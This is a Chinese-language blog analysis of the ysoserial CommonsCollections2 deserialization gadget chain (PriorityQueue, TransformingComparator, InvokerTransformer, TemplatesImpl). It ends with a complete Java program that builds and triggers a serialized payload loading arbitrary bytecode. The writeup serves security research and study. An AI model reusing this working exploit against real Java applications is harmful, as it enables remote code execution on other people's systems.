首页IT科技Ysoserial cc1链条(ysoserial CommonsCollections2 分析)

Ysoserial cc1链条(ysoserial CommonsCollections2 分析)

时间2025-05-05 14:57:35分类IT科技浏览5272
导读:在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。...

在最后一步的实现上            ,cc2和cc3一样                ,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化           。

已知的TemplatesImpl->newTransformer()是最终要执行的                  。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一           、二部分     。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现      ,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容        。

cc2是针对commons-collections4版本         ,利用链如下:

/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class")); byte[][] codes = {code}; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行                ,_tfactory得赋值         ,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); transformer.transform(templates); } }

一                  、InvokerTransformer.transform()的调用

TransformingComparator的compare      ,实现了对属性this.transformer的transform调用                ,这里可以通过TransformingComparator构造方法为该属性赋值                  。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private static final long serialVersionUID = 3456940356043606220L; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } }

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); transformingComparator.compare(null,templates);

二     、TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify()            ,heapify()中调用了siftDown()   ,siftDown()调用了siftDownUsingComparator()                ,siftDownUsingComparator()方法实现了comparator.compare()调用        。

那么只要将transformingComparator对象赋值给comparator              ,可以通过反射,也可以通过构造方法              ,这里通过构造方法                ,且initialCapacity不能小于1     。

public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }

由于comparator.compare()中的参数来自queue   ,所以需要将templates赋值给queue                  。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()           。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错            ,另外使用templates作为参数                ,又会导致在序列化过程构造恶意对象的时候得到执行  。所以这里先用toString()方法代替      ,后通过反射方式修改this.iMethodName属性                 。

TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer");

三        、queue属性赋值

transient queue无法序列化         ,但在PriorityQueue的writeobject()                  、readobject中对queue做了重写                ,实现序列化和反序列化              。

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { //略 for (int i = 0; i < size; i++) s.writeObject(queue[i]); } private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { //略 for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }

通过反射修改queues[0]         ,利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; //这里得替换queues[0] //如果queues[0]依旧保留使用Integer      ,会因为无法找到newTransformer报错。

最终完整利用实现:

public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class")); byte[][] codes = {code}; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要顺利执行                ,_tfactory得赋值            ,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("toString", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser")); objectOutputStream.writeObject(priorityQueue); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser")); objectInputStream.readObject(); } }

创心域SEO版权声明:以上内容作者已申请原创保护,未经允许不得转载,侵权必究!授权事宜、对本内容有异议或投诉,敬请联系网站管理员,我们将尽快回复您,谢谢合作!

展开全文READ MORE
openthedoorplease怎么读?(【真相】ChatGPT和OpenAI的API KEY)